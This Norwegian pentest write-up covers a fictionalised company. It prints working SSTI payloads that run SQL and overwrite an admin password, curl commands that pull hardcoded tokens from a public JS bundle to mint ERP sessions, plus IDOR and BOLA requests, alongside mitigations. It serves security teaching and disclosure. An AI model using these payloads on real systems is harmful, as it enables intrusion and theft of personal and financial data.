Hopp til hovedinnhold
Erik Nilsen
27 min lesingVis som Markdown

Tre kritiske funn i én estate — den enkleste var den verste

  • #pentest
  • #ssti
  • #craft-cms
  • #idor
  • #hardcoded-secrets
  • #dmarc
  • #ai
  • #security

FIKTIVT: Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert.

Det interessante endepunktet var ikke det alle skanner etter. Alle kaster CVE-2025-32432 mot en Craft-installasjon i 2025 — den kom tilbake patchet her. Hullet var en fire år gammel klasse: en header CMS-et stolte på. X-Forwarded-Host ble rendret gjennom Twig av SEOmatic, og én uautentisert GET ga meg først vilkårlig SQL mot produksjonsdatabasen og til slutt full super-administrator i Craft. Ingen credentials, ingen brukerinteraksjon, ingen tidligere fotfeste. Her er hele kjeden, hvorfor de negative kontrollene avgjorde alvorlighetsgraden, og hvorfor jeg gjorde overtakelsen på den mest reversible måten jeg kunne.

SSTI-en var den mest elegante inngangen — men den verste svakheten krevde ingen teknikk i det hele tatt: nøklene til hele regnskapet lå i en offentlig JavaScript-fil. Dette innlegget går gjennom hele den eksterne testen av estaten: tre kritiske funn (SSTI-en til CMS-admin, et admin-panel som falt på ett gjettet passord, og de hardkodede nøklene som låste opp hele ERP-et), fire høy-funn, hele medium/lav-halen — og like viktig, alt som holdt. Kunden har rukket å utbedre det meste av dette allerede, og jeg er klarert til å publisere den saniterte gjennomgangen. En ny full test kjører i morgen; den blir et eget innlegg.

Kontekst

Kunden var Nordlyd AS (nordlydas.no), et lite kommunikasjonshus med en overraskende bred .no-portefølje: flaggskip-nettstedet, en Moodle-basert LMS, en kunde-CRM og en håndfull små React/Express-SPA-er. Scopet var owned-by-org — alt som beviselig eies av Nordlyd var i spill, med eierskap som porten. IT-sjefen, Bjørn Moen ([email protected]), var mest bekymret for kunde-CRM-en. Som så ofte lå ikke brannen der kunden pekte — den lå i flaggskipet, www.nordlydas.no, som kjørte Craft CMS på 3.9-grenen med SEOmatic-pluginen, på delt Apache-hosting med en MariaDB-backend.

Det er samme mønster som da det viktigste funnet ikke var det kunden ba om: den mest sensitive appen i porteføljen holdt, mens et sidesystem ingen tenkte på var åpent.

Jeg kjører denne typen oppdrag med AI i loopen. Parallelle agenter gjør recon, endepunkt-kartlegging og CVE-triage, kjører sweeps og leser output; jeg styrer scope, tar de etiske vurderingene, bestemmer hva som er verdt å eskalere, og gjør bitene som krever menneskelig dømmekraft. Første pass var en agent som fingerprintet stacken (whatweb, HTTP-triage, GraphQL-introspeksjon) og triagede Craft-CVE-listen mot den observerte versjonen.

Den negative kontrollen kommer først

Før jeg beskriver hullet: her er alt som ikke virket, for det er halve poenget.

Alle jaktet på CVE-2025-32432 i 2025 — den uautentiserte object-injection-RCE-en i Craft. Jeg lot agenten fyre av den kjente transform-handle-PoC-en mot /index.php?p=admin/actions/assets/generate-transform fire ganger, med varianter. Hver gang samme svar:

{"name":"Bad Request","message":"Invalid transform handle.","code":0,"error":"Invalid transform handle.","status":400}

400 "Invalid transform handle" er den patchede kodeveien: requesten når handleren, men objekt-injeksjonen blir avvist før den gjør noe. Kryssjekket mot en positiv kontroll (en gyldig transform-handle som ga 200), så jeg vet at endepunktet lever — det er selve sårbarheten som er borte. Verdikt: patchet. Ikke den.

De andre åpenbare gevinstene var også stengt:

  • Craft GraphQL lå åpent på /api med introspeksjon på, men public schema-rot var {ping}{"data":{"ping":"pong"}}. entries/users returnerte tom liste, ingen data. Schema-lekkasje, ikke datauttrekk.
  • Offentlig registrering var av (users/save-user403 "Public registration is not allowed").
  • /.env, /composer.json, /config/*, backup-arkiver → alt 404. /.git/*403.
  • CP-en (/admin) var uautentisert nåbar, men bcrypt, rate-limitet, ingen default-creds. Et lite, målrettet passord-spray traff ingenting.

Det er verdt å dvele ved dette. Den støyende, ferske CVE-en var en blindvei. Hostinghygienen på det åpenbare var god. Det som til slutt ga full overtakelse, var en stille header som ingen scanner flagger som «kritisk». Skillet mellom en plausibel og en ekte sårbarhet ligger i verifiseringen — det samme poenget som da et cross-tenant-funn ikke overlevde verifisering.

Det jeg fant: SEOmatic renderer X-Forwarded-Host gjennom Twig

SEOmatic bygger OpenGraph- og meta-image-URL-er ut fra request-hosten. I denne versjonen sender pluginen den innkommende X-Forwarded-Host-headeren gjennom Crafts renderObjectTemplate() — altså Twig — uten å sanitere den. Headeren er angriperkontrollert input, og den havner i en template-renderer. Det er lærebok-SSTI (server-side template injection), samme klasse som CVE-2021-41749 i SEOmatic.

To detaljer gjorde dette praktisk utnyttbart:

  1. Refleksjonspunktet er og:image. Den evaluerte verdien kommer tilbake i <meta property="og:image"> på en helt vanlig GET /. Det gir et rent orakel — jeg kan lese resultatet av hvert uttrykk direkte i responsen, steg for steg.
  2. En comma-split-begrensning. Crafts proxy-parsing splitter X-Forwarded-Host på komma. Payloaden må derfor være komma-fri. Det formet alt nedstrøms: bare enkolonne-UPDATE-writes overlever, og jeg måtte unngå komma i alle SQL-uttrykk.

PoC / Reproduksjon

Forutsetninger: ingen. Fullstendig uautentisert, én GET per steg. All trafikk gikk via hostnavnet, aldri mot den delte IP-en direkte. Verktøy: en liten AI-generert HTTP-løkke rundt curl for header-fuzzingen; agenten kjørte selve sweepen, jeg satte ratelimit og scope og plukket ut hvilke treff som var verdt å eskalere.

Steg 1 — bevis at Twig evaluerer (positiv/negativ kontroll)

Jeg pakket payloaden i to markører (ZQXR…RXQZ) så jeg kunne finne den evaluerte verdien uten tvil i responsen.

GET / HTTP/1.1
Host: www.nordlydas.no
X-Forwarded-Host: ZQXR{{7*191}}RXQZ
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
 
...
<meta property="og:image" content="https://ZQXR1337RXQZ/index.php?p=...">
...

7*191 ble til 1337 inne i og:image. Templaten evaluerer. Den samtidige negative kontrollen var å sende en helt vanlig verdi uten krøllparenteser:

X-Forwarded-Host: ZQXRexample.testRXQZ
<meta property="og:image" content="https://ZQXRexample.testRXQZ/index.php?p=...">

Den reflekteres ordrett — ingen evaluering. Det er {{ }} som trigger renderingen, ikke bare det at headeren speiles. Skillet er viktig: en reflektert header alene er en cache-poison/XSS-latens (og det filte jeg som eget lavfunn). En reflektert header som evalueres er kjøring på serveren.

Steg 2 — nå objektgrafen

X-Forwarded-Host: ZQXR{{craft.app.version}}RXQZ         → og:image: ZQXR3.9.15RXQZ
X-Forwarded-Host: ZQXR{{constant('PHP_VERSION')}}RXQZ   → og:image: ZQXR8.1.34RXQZ

Rendrings-konteksten eksponerer det globale craft-applikasjonsobjektet. Når jeg først har det, har jeg vilkårlige metodekall.

Steg 3 — vilkårlig SQL mot produksjonsdatabasen

craft.app.db.createCommand() er den viktige metoden. Den kjører SQL på CMS-ets egen databaseforbindelse.

GET / HTTP/1.1
Host: www.nordlydas.no
X-Forwarded-Host: ZQXR{{craft.app.db.createCommand('SELECT @@version').queryScalar()}}RXQZ
HTTP/1.1 200 OK
 
<meta property="og:image" content="https://ZQXR11.4.10-MariaDB-1-logRXQZ/index.php?p=...">
X-Forwarded-Host: ZQXR{{craft.app.db.createCommand('SELECT @@hostname').queryScalar()}}RXQZ
    → og:image: ZQXR<REDACTED>.hosting.internalRXQZ

Tolkning, linje for linje: dette er ikke lenger «en header reflekteres». @@version og @@hostname bakes inn i og:image fordi CMS-ets egen databaseforbindelse kjørte SQL-en min, uautentisert, fra en anonym GET. Fra dette punktet har en angriper vilkårlig lese/skrive mot hele Craft-databasen: alt innhold, alle brukere, alle passord-hasher.

Steg 4 — hva som var innen rekkevidde (lesing, benignt)

Jeg leste nok til å fastslå impact, og stoppet der:

  • Craft security key (craft.app.config.general.securityKey) — 32 tegn, hentet ut, maskert i evidence som qgNv…<REDACTED>…LWuQ. Den signerer auth-cookies, CSRF-/reset-tokens og krypterer lagrede secrets. Må antas fullstendig disclosed, altså roteres.
  • allowAdminChanges = true, devMode = false, allowUpdates = false, requireUserAgentAndIpForSession = true, sesjonsvarighet 3600s.
  • DB-brukeren manglet FILE-privilegium (secure_file_priv NULL) — så ingen INTO OUTFILE/webshell-vei, uansett.

Det jeg med vilje ikke leste: ingen brukerrader, ingen passord-hasher, ingen PII. Bare antall, versjoner og lengden på security-key-en — helt fram til det autoriserte admin-steget. En SSTI som denne kan dumpe hele brukertabellen; RoE og folkeskikk sier at man ikke gjør det for å bevise et poeng man allerede har bevist.

Fra SQL til super-admin — det reversible steget

Jeg hadde lese/skrive-SQL. Det åpenbare neste steget er admin-overtakelse. Men hvordan betyr alt her, både teknisk og etisk.

Hvorfor ikke bare stjele en sesjon eller forfalske en cookie med security-key-en? Fordi requireUserAgentAndIpForSession = true slår i hjel replay av en stjålet sesjon, og det var ingen MFA-plugin installert. Den pålitelige veien var en reversibel enkolonne-passordendring fulgt av en helt vanlig innlogging. Comma-split-begrensningen fra steg 1 betyr at bare enkolonne-UPDATE overlever, så jeg holdt endringen til nøyaktig én kolonne på én rad.

Nummerert kjede:

  1. Les og lagre den eksisterende bcrypt-hashen til super-admin (id 1): SELECT HEX(password) FROM users WHERE id=1. Denne skal restaureres bit for bit.
  2. Bekreft skrive-privilegium med en benign 0-rads UPDATE (en WHERE som ikke matcher noe) — jeg vil vite at jeg kan skrive før jeg rører en ekte konto.
  3. Sett en midlertidig, kjent $2y$13$-bcrypt på super-admin via en enkolonne-UPDATE. Verdien hex-encodes så payloaden holder seg komma-fri og slipper sitat-problemer i headeren:
X-Forwarded-Host: ZQXR{{craft.app.db.createCommand('UPDATE users SET password=0x<REDACTED-bcrypt-hex> WHERE id=1').execute()}}RXQZ

Verifisert ved å lese hashen tilbake og sjekke at den er den jeg satte. 4. Logg inn i nettleseren på /admin/login med det midlertidige passordet. Innloggingen ble kjørt manuelt-supervisert via Chrome-automatisering (Playwright), og landet på CP-dashbordet som super-admin. Dashbordet viste full administrativ navigasjon (Artikler, Globaler, Brukere, SEOmatic, Verktøy, GraphQL), publiseringshistorikk med forfatternavn, og admin-only «oppdateringer tilgjengelig». Skjermbilde ligger i engagement-evidencen; jeg embedder det ikke her siden det inneholder ekte kontonavn. 5. Restaurer den opprinnelige hashen umiddelbart med en ny enkolonne-UPDATE, og verifiser at tilbakelesningen er identisk med originalen fra steg 1. Sesjonen lever server-side, så credential-vinduet varte i sekunder. 6. Logg ut for å fjerne sesjons-artefakten.

Funn: Critical — uautentisert SSTI → vilkårlig SQL → full CMS super-admin, bevist med en live innlogging.

Her er det verdt å være ærlig om arbeidsdelingen: AI-en hjalp meg forme SQL-uttrykkene og fant reflekterings-mønsteret raskt. Men go/no-go på å røre en produksjonskonto, save-restore-verify-disiplinen, og selve alvorlighetsvurderingen var mine. En agent i loopen produserer plausible eskaleringer fort — og uforsiktige eskaleringer like fort. Det menneskelige steget er å bestemme at endringen skal være reversibel, minimal og verifisert restaurert før du rører noe levende.

Mitigering — før/etter

Fiksen er i tre lag, fra det som lukker hullet i dag til det som rydder opp etter en antatt kompromittering.

1. Ikke stol på X-Forwarded-Host fra vilkårlige klienter. Sett Crafts trustedHosts/trustedProxies så bare edge-proxyen får sette forwarded-headere, og strip headeren ved Apache-kanten:

# Apache/edge: fjern klient-satt forwarded-host før den når PHP
RequestHeader unset X-Forwarded-Host
// config/general.php — bind til kjente hoster i stedet for å reflektere request
'trustedHosts' => ['^(www\.)?nordlydas\.no$'],

Etter dette når ikke headeren renderObjectTemplate() lenger: {{7*191}} reflekteres ordrett (eller droppes), og steg 2–3 gir ingen evaluering. Det er den samme negative kontrollen fra steg 1, nå som post-fiks-bevis.

2. Oppdater SEOmatic til en patchet release (CVE-2021-41749 er fikset i SEOmatic 3.4.12+) og migrer bort fra Craft 3.x, som er end-of-life.

3. Anta disclosure. Roter Craft security key og alle DB-credentials. Tving passord-reset på alle CP-administratorer (anta hashene dumpet). Skru på MFA på kontrollpanelet. Gjennomgå edge-/WAF-logger for mønsteret X-Forwarded-Host: *{{*}}* for å måle eventuell tidligere utnyttelse.

admin123: det interne HR-systemet falt på én gjetning

Den andre appen som ga full overtakelse var ikke en CMS-finesse — det var et trivielt standardpassord. Nordlyds interne HR-/onboarding-system (ansatt.nordlydas.no, en egenutviklet React/Express-app) har en admin-innlogging som er en enkelt delt passord-port: POST /api/admin/login tar bare {password} — intet brukernavn, ingen MFA.

Ved første øyekast så porten rate-limitet ut: gjentatte forsøk i rask rekkefølge ble bremset med en tar-pit som stallet responsen 30s+. Men bremsen var burst-basert, ikke et ekte lockout — den straffet fart, ikke antall. En rolig online-brute (autorisert i SoW) gikk rett gjennom.

Forutsetninger: ingen — uautentisert. Online passord-gjetting var eksplisitt autorisert. Verktøy: agenten kjørte bruten low-and-slow mot den ene passord-parameteren; jeg satte raten og ordlisten.

  1. Feil passord gir en ren avvisning:
POST /api/admin/login HTTP/1.1
Host: ansatt.nordlydas.no
Content-Type: application/json
 
{"password":"<kandidat>"}
HTTP/1.1 401 Unauthorized
 
{"error":"Ikke autorisert"}
  1. Treff på forsøk 58 av 272 med en triviell standard-streng (admin123):
HTTP/1.1 200 OK
Set-Cookie: session=<REDACTED>; HttpOnly
 
{"success":true,"role":"admin"}
  1. Negativ kontroll — er dette én app-svakhet eller en estate-vid gjenbrukt hemmelighet? Jeg testet det samme passordet mot de andre appene i porteføljen (AI-backenden, CRM-en, de øvrige SPA-ene). Alle avviste det:
POST /api/admin/login  (analyse.nordlydas.no)  →  401

admin123 fungerte kun på HR-systemet. Det gjør funnet til en isolert svak-passord-svakhet på denne ene appen, ikke et delt admin-passord på tvers av estaten — en viktig forskjell for hvor bredt kunden må rotere.

Impact. Én gjetning gir full administrator på onboarding-plattformen: lesing av nyansattes personopplysninger — bankkonto, fødselsdato, lønn og nødkontakt — masse-eksport til Excel, og skrivetilgang som kjeder videre til lagret XSS mot alle ansatte via en usanitisert HTML-visning. Autentiseringssvakheten er i seg selv High, men med PII-omfanget og XSS-kjeden er den reelle eksponeringen kritisk — jeg flagget den for umiddelbar utbedring.

Innloggingen ble demonstrert live i nettleser (Playwright, manuelt supervisert) og deretter logget ut. Ingen PII ble eksportert — jeg beviste tilgangen og stoppet.

Mitigering. Fjern det delte passordet til fordel for per-bruker-auth med MFA og et ekte rate-limit/lockout (teller forsøk, ikke bare fart). Rotér admin123 umiddelbart. Saniter HTML-visningen og legg på CSP for å bryte XSS-kjeden.

Den verste: hardkodede nøkler i en offentlig JS-fil → hele regnskapet

SSTI-en var elegant. Dette var verre, og krevde ingen teknikk i det hele tatt — bare å lese en fil som ligger åpent.

Nordlyd har et internt drifts- og rekrutteringsdashbord på drift.nordlydas.no (en Render-hostet Express-app). Karrieresiden nordlydas.no/jobb sender jobbsøknader dit, og appen proxyer i tillegg Nordlyds Tripletex-regnskap. Appens offentlige SPA-bundle — /assets/index-<hash>.js, lesbar for hvem som helst — hardkoder to statiske API-nøkler og Nordlyds Tripletex-tokens rett i klientkoden. Det er hele sårbarheten: CWE-798, hemmeligheter i frontend.

Dette er også historien om hvorfor man retester. I runde 1 filte jeg CRM-ens X-Dashboard-Key som et lavfunn og noterte at selve nøkkelverdien var «aldri fanget» — loot-sweepen fant den ikke. Den lå i klartekst i dette dashbordets bundle hele tiden. Ett funn nedgraderte ikke, det eskalerte fra lav til kritisk da en annen agent leste riktig fil.

Forutsetninger: ingen. Alt hentes fra offentlig JavaScript. Verktøy: to AI-genererte PoC-skript, bygget «redeploy-proof» — de auto-oppdager bundle-URL-en (hashen endres ved hver deploy), ekstraherer nøklene by value, og skriver «remediated» hvis nøklene er rotert. Skriptet beviser altså bruddet og dobler som utbedrings-verifikasjon. Agenten skrev skriptene; jeg satte RoE-grensene (count-only, ingen bulk-PII, maskerte beløp), og Tripletex-verifikasjonen kjørte jeg kun etter at kunden selv uttrykkelig ba om sine tre siste fakturaer som bevis (en dataeier-forespørsel).

Ledd 1 — hent nøklene fra bundlen

# Auto-oppdag bundlen (hashen endres ved hver redeploy)
BJS=$(curl -s https://drift.nordlydas.no/ | grep -oE '/assets/index-[A-Za-z0-9_-]+\.js' | head -1)
 
# Ekstraher nøkler + tokens by value (overlever re-minifisering)
curl -s "https://drift.nordlydas.no$BJS" | grep -oE '<nøkkelmønstre>'
#   x-dashboard-key (rekruttering) = <REDACTED — svak, menneskevalgt streng>
#   X-Dashboard-Key (crm, 64 hex)  = <REDACTED-64-hex>
#   Tripletex consumer/employee-token = <REDACTED> (base64, dekoder til {tokenId,token})

Ledd 2 — uautentisert lesing av 37 jobbsøknader

GET /api/rekruttering/applications HTTP/1.1
Host: drift.nordlydas.no
x-dashboard-key: <REDACTED>
HTTP/1.1 200 OK
Content-Type: application/json
 
[ ... 37 objekter ... ]
# felter per rad: name, email, application_text, project_link, projects,
#   eval_attachment_name, eval_attachment_hash, eval_notes, status, created_at

37 reelle søkeres navn, e-post, søknadstekst, CV-vedlegg og interne vurderingsnotater (eval_notes), lesbart uten en eneste credential.

Ledd 3 — uautentisert lesing av salgs-CRM-et

GET /api/dashboard/stats HTTP/1.1
Host: crm.nordlydas.no
X-Dashboard-Key: <REDACTED-64-hex>
HTTP/1.1 200 OK
 
{"totalCustomers":231,"totalLeads":131, ...}

231 kunder, 131 leads, hele pipelinen — med nøkkelen runde 1 kalte «aldri fanget».

Ledd 4 — full ERP: mint en Tripletex-session fra tokens i en offentlig fil

Appen proxyer Tripletex via /api/v2. Med consumer- og employee-tokenene fra bundlen kan hvem som helst be proxyen mint en ekte Tripletex-session:

PUT /api/v2/token/session/:create?consumerToken=<REDACTED>&employeeToken=<REDACTED>&expirationDate=<i-morgen> HTTP/1.1
Host: drift.nordlydas.no
x-dashboard-key: <REDACTED>
Authorization: Basic <base64(consumer:employee)>
HTTP/1.1 200 OK
 
{"value":{"token":"<REDACTED-session>","expirationDate":"<i-morgen>"}}

Med sessionen leste jeg de tre siste betalte leverandørfakturaene — kun fordi kunden ba om nettopp det som eierbevis:

GET /api/v2/supplierInvoice?count=3&sorting=-invoiceDate&fields=invoiceNumber,invoiceDate,amount,supplier(name) HTTP/1.1
Host: drift.nordlydas.no
Authorization: Basic <base64(0:<REDACTED-session>)>
HTTP/1.1 200 OK
 
# 3 reelle leverandørfakturaer returnert (motpart og beløp maskert i bevisene)

Tolkning: en session mintet mot Tripletex fra tokens i en offentlig fil gir full lesetilgang til hele regnskapet — fakturaer inn/ut, kunder, leverandører, ansatte, lønn og lønnsslipper, hovedbok og bank. Fra en fil på internett.

Negativ kontroll og ekthetsbevis

To ting gjorde dette til et bevis og ikke en påstand:

  • Redeploy-proof som negativ kontroll: skriptet henter nøklene by value hver kjøring. Roteres de, feiler mint-steget og skriptet skriver «remediated». Samme skript beviser bruddet og bekrefter fiksen — jeg trenger ikke tro på at kunden lukket det, jeg kan kjøre PoC-en igjen.
  • Positiv kontroll på ekthet: min egen (samtykkede) testsøknad lå i /api/rekruttering/applications-svaret med riktig id. Det beviste at jeg leste den levende rekrutteringsbasen, ikke en cache eller et testmiljø.

RoE-disiplin: 36 av 37 søknader ble sett for å bevise omfang og deretter makulert; kun de tre kundeforespurte fakturaene ble hentet (ingen lønn, ansatte eller hovedbok trukket ut); Tripletex ble nådd via Nordlyds egen proxy med Nordlyds egne lekkede nøkler, kun lesing, med en session som utløper etter én dag. Ingen durabel credential beholdt.

Funn: Critical (CVSS 9.1). GDPR: jobbsøkeres CV, søknad og interne vurderinger var eksponert — dette utløser en vurdering av varslingsplikt og en gjennomgang av tilgangslogger.

Mitigering (haster):

  1. Rotér begge dashboard-nøkler og tilbakekall/rotér Tripletex consumer- og employee-tokens umiddelbart — anta alt kompromittert og logget.
  2. Fjern alle hemmeligheter fra klientkode; nøkler skal kun leve server-side.
  3. Erstatt statisk header-auth med den reelle Microsoft-OAuth-sesjonen appen allerede har, på hvert data-endepunkt (/api/rekruttering/*, /api/dashboard/*, /api/research/*, /api/db).

Sidefunn: et uautentisert AI-backend som jeg endte med å nedgradere

En av SPA-ene i porteføljen — et lite AI-drevet analyseverktøy på analyse.nordlydas.no — eksponerte hele /api/* uten autentisering: /api/ideas/*, /api/metrics/*, /api/stream, /api/ocr, /api/parse-document. Det er broken access control pluss en denial-of-wallet-eksponering: anonyme kallere kan drive betalt LLM-inferens i det uendelige.

Mini-PoC-en er å vise at endepunktene er ekte uautentiserte, ikke bare at de returnerer 200. Nabo-rutene under /api/admin/* svarer 401 før body; de sensitive AI-rutene når derimot rett til validering:

# Gated søsken — 401 før body
curl -s -o /dev/null -w '%{http_code}\n' https://analyse.nordlydas.no/api/admin/stats
# -> 401
 
# AI-rute uten auth — når parseren, aldri 401
curl -s -F 'document=@/dev/null' https://analyse.nordlydas.no/api/parse-document
# -> 400 {"message":"Ingen fil lastet opp"}

401 mot /api/admin/*, men 400 "Ingen fil lastet opp" mot /api/parse-document, beviser at parseren kjører for en anonym kaller. Modell-enum-en lekker også i bundlen (aiModel ∈ {claude-sonnet-4-6, gpt-5.2}), så en angriper vet nøyaktig hva som er tilgjengelig å brenne penger på.

Så langt ser dette ut som en kandidat for uautentisert RCE, og jeg jaktet på det hardt. Jeg ba agenten bygge ekte-trigger-PoC-er for hver plausible vei inn i /api/parse-document og /api/ocr:

  • pdf.js eval-RCE (CVE-2024-4367) via en font-FontMatrix-gadget i en PDF.
  • mammoth vilkårlig fil-lesing (CVE-2025-11849) via en DOCX med en ekstern <a:blip r:link>-relasjon som peker på /etc/hostname.
  • OOXML XXE → SSRF mot GCP-metadata (appen kjører på Google App Engine, så en SSRF kunne i teorien stjålet service-account-token).
  • ImageMagick/Ghostscript via en MVG/PS forkledd som data:image/png mot /api/ocr.
  • zip-slip og prototype-pollution i Express-JSON-kroppene.

Alle veiene testet negativt med ekte triggere. En benign PDF/DOCX/PPTX round-trippet pent til {text}, men ingen av gadgetene fyrte. Guardrail-laget holdt også: naiv prompt-injection ble korrekt avvist (modellen scoret injeksjonen 0 og gjorde ingenting), modellen er server-side pinnet til en allow-list så en dyrere modell ikke kan tvinges fram, og ingen system-prompt/tool/modell-lekkasje lot seg oppnå.

Konklusjon: jeg nedgraderte hele klyngen fra «kandidat for uautentisert RCE» til «broken access control + denial-of-wallet». Funn: High, ikke kritisk. Et funn som blir nedgradert etter verifisering er et fullgodt funn — og de negative PoC-ene er akkurat det som skiller «et endepunkt returnerte 400» fra «her er den faktiske grensen».

Fire høy-funn til

De to admin-portene (HR + AI-backenden) deler samme designfeil, og estaten har tre andre høy-funn verdt egne avsnitt.

Flaggskipet med p=reject er fortsatt forfalskbart — via en delt SPF-vert

Det eneste e-postsikrede domenet (nordlydas.no, DMARC p=reject) autoriserer ip4:203.0.113.56 i sin SPF — en delt web-host som ikke eies av Nordlyd, og som Nordlyds egne hengende subdomener peker på. Fordi SPF autoriserer IP-en (ikke en virtuell vert) og DMARC bruker aspf=r (relaxed), kan en medleietaker på den delte hosten — eller den som overtar et hengende subdomene — sende MAIL FROM: @nordlydas.no med SPF-pass og justering → DMARC-pass, forbi p=reject.

nordlydas.no  TXT  "v=spf1 include:spf.protection.outlook.com ip4:203.0.113.56 ~all"
_dmarc        TXT  "v=DMARC1; p=reject; aspf=r; adkim=r"
                                        ^ relaxed alignment + en delt IP i SPF = hullet

To sekundære Medium: en tredjeparts e-postleverandør-IP og fire gjenbrukbare AWS-EIP-er i samme SPF. Samme mønster som da WordPress holdt, men e-posten åpnet døren: app-laget er hardt, e-postautentiseringen er hullet. Fix: fjern ip4:203.0.113.56, dekommisjonér de hengende subdomenene, autorisér kun O365 + fullt kontrollerte reléer, og stram ~all-all.

strategi: kryss-arbeidsområde datatyveri via ikke-validert forelder

Skrivehåndtererne på strategi.nordlydas.no (actions/swimlanes/tasks/measurements) sjekker at kalleren eier objektet, men ikke destinasjons-forelderenstrategyId er masse-tilordnbar. Kombinert med en bekreftet skrivbar BOLA (swot/items, focus-areas, entries) blir dette datatyveri: en fremmed re-foreldrer et offers objekt til sitt eget arbeidsområde og leser det der.

PATCH /api/swot/items/<offer-uuid> HTTP/1.1
Host: strategi.nordlydas.no
Cookie: session=<REDACTED — helt fremmed konto>
Content-Type: application/json
 
{"strategyId":"<mitt-eget-arbeidsomrade>"}

Negativ kontroll (canary): fra konto B plantet jeg en hemmelig SWOT-verdi i konto A-s arbeidsområde, re-foreldret den til B, og leste den tilbake i B — VICTIM-SECRET-strengen dukket opp hos meg. Det beviste ekte kryss-tenant-tyveri, ikke en samme-eier-inkonsistens. Enhver innlogget bruker kan lese ethvert arbeidsområdes strategidata. High. To relaterte Medium: invitasjon bundet til hvem-som-helst (bærer-token, opptil admin-rolle) og en engangs-invitasjon som er dobbeltbrukbar (TOCTOU).

Moodle: en selvregistrert student henter en systemrapport over 125 brukere

kurs.nordlydas.no (Moodle Workplace 4.5.2, ~10 utgivelser bak) har åpen selvregistrering uten CAPTCHA. En fersk student kan minte et mobil-webservice-token og kalle core_reportbuilder_retrieve_report mot reportid=79 — en rapport på systemnivå (contextid 1) laget av en administrator — og lese 125 brukeres navn, brukernavn og e-post, inkludert selve administratorkontoen. Feilklassifisert rapport-publikum, CVE-2026-58348-klassen.

POST /webservice/rest/server.php?moodlewsrestformat=json HTTP/1.1
Host: kurs.nordlydas.no
Content-Type: application/x-www-form-urlencoded
 
wstoken=<REDACTED>&wsfunction=core_reportbuilder_retrieve_report&reportid=79
HTTP/1.1 200 OK
 
{"data":{"totalrowcount":125,"rows":[ ... ]}, "warnings":[]}

Kun én maskert rad ble hentet som bevis. High. Videre eskalering til lærer/administrator ble testet grundig og er blokkert (se «Det som holdt»). Fix: begrens rapport-79-publikum, steng åpen selvregistrering, oppgrader 4.5.2 → 4.5.12+.

AI-backendens admin-port — samme delte-passord-design, uten rate-limit

POST /api/admin/authanalyse.nordlydas.no er nøyaktig samme enkelt-delt-passord-design som HR-systemet, uten rate-limit, lockout eller CAPTCHA. Den ble ikke knekt i en 272-ords kjøring — passordet er ikke i en vanlig ordliste — men den er fullt online brute-forcebar. High. Jeg lar den stå som høy og ikke kritisk nettopp fordi den ikke falt: den er en åpen dør, men jeg fant ikke nøkkelen denne runden. Samme fix som admin123.

Medium-funn

#FunnRessursFix
M1BAC/IDOR/api/public/project/{id} lekker hvert prosjekt uautentisert per heltalls-id; /api/public/dashboard og /api/public/actors dumper full planleggingsdata inkl. intern userIdppu.nordlydas.noObjekt-nivå-authz på hver /api/public/*-id
M2measurement-entries BOLAPATCH/DELETE /api/entries/{id} mangler eierskapssjekkstrategi.nordlydas.noEierskapssjekk på entries-writes
M3Invitasjon bundet til hvem-som-helst (bærer-token, opptil admin) + engangs-invitasjon dobbeltbrukbar (TOCTOU)strategi.nordlydas.noBind invitasjon til e-post; atomisk engangsbruk
M4E-postforfalskning 25/26 — 25 av 26 domener mangler håndhevende SPF+DMARC (inkl. HR-onboarding og LMS)hele estatenSPF -all + DMARC p=reject over hele estaten
M5Hengende DNS / subdomene-takeovercon-form/kurs/prosjekt.nordlydas.no + et annet domene peker på en tredjeparts analyseplattform (brutt TLS); et dødt Replit-custom-domene; staging.nordlydas.no A-record til en forlatt DigitalOcean-IPflereFjern de stale DNS-postene eller gjenvinn under klientkontroll
M6Sprout Forms — usynlig reCAPTCHA ikke håndhevet server-side (automatiserbart) + mulig SSTI i varsel-malen (må verifiseres av kunde i e-post)www.nordlydas.noHåndhev reCAPTCHA server-side; auditér varsel-malen
M7Moodle mobil-WS-token (458 funksjoner) fra selvregistrert bruker; vilkårlig brukeroppslag (navn+e-post) via core_user_get_users_by_fieldkurs.nordlydas.noBegrens WS-protokoll/funksjoner for selvreg. brukere

Enumereringen i M1 er verdt en linje, for den er så ren:

GET /api/public/project/1  → 200 {"id":1,"name":"<maskert>","targetPpu":75}
GET /api/public/project/2  → 200 {"id":2,"name":"<maskert>","targetPpu":85}
GET /api/public/project/3  → 404 {"message":"Project not found"}
GET /api/public/project/4  → 200 {"id":4,"name":"<maskert>","targetPpu":70}
# authed-speil GET /api/projects → 401. Den «public» stien gjør ingen authz.

Lav-funn (hele halen)

Ingen av disse er dramatiske alene, men de er med for fullstendighetens skyld — og et par av dem (L1, L11) er injeksjonspunkter eller nøkler for funnene over.

#FunnRessursFix
L1CRM statisk X-Dashboard-Key — sessionsløs lesing av /api/dashboard/*; ACAO:* lar nettleser-JS lese det kryss-origin. (Eskalerte til kritisk da nøkkelverdien ble funnet — se over.)crm.nordlydas.noPer-sesjon-auth; fjern wildcard-CORS
L2parse-document ordrike feilmeldinger lekker hele parser-avhengighetsstacken (nå bak auth)analyse.nordlydas.noGeneriske feil
L3Craft GraphQL-introspeksjon på public /api (nå lukket)nordlydas.noDeaktiver public introspeksjon
L48 domener HTTP-only (klartekst, ingen TLS)estate-klyngeTving HTTPS/HSTS
L5HR-app-bundlen lekker full Drizzle-schema inkl. salary/bank/dob/password_hash-kolonnenavn (data selv gated)ansatt.nordlydas.noTrim klient-bundlen; bekreft server-side authz
L6HR-appens uautentiserte skjemakonfig (DOB/nødkontakt/helse-felt) + kollegakatalog (navn/e-post/tlf/bursdag for 21 ansatte) synlig for enhver ansattansatt.nordlydas.noGate skjemakonfig; minimér katalog-felt
L7Moodle åpen selvregistrering (enhver e-post) + eksponering av med-deltakeres e-postkurs.nordlydas.noBegrens registrering; skjul deltaker-e-post
L8Moodle leietaker-enumerering via sekvensiell tenantid (~24 navngitte kunde-leietakere; TestTenant i produksjon)kurs.nordlydas.noRandomisér/autorisér tenant-id; fjern TestTenant
L9Moodle dev-/metadatafiler eksponert (Gruntfile.js, config-dist.php, /backup)kurs.nordlydas.noBlokker fra web-rot
L10Utdatert CMS/LMS — Craft 3.9.15 (EOL) + Moodle 4.5.2 (~10 utgivelser bak)beggeOppgrader (henger sammen med SSTI-en)
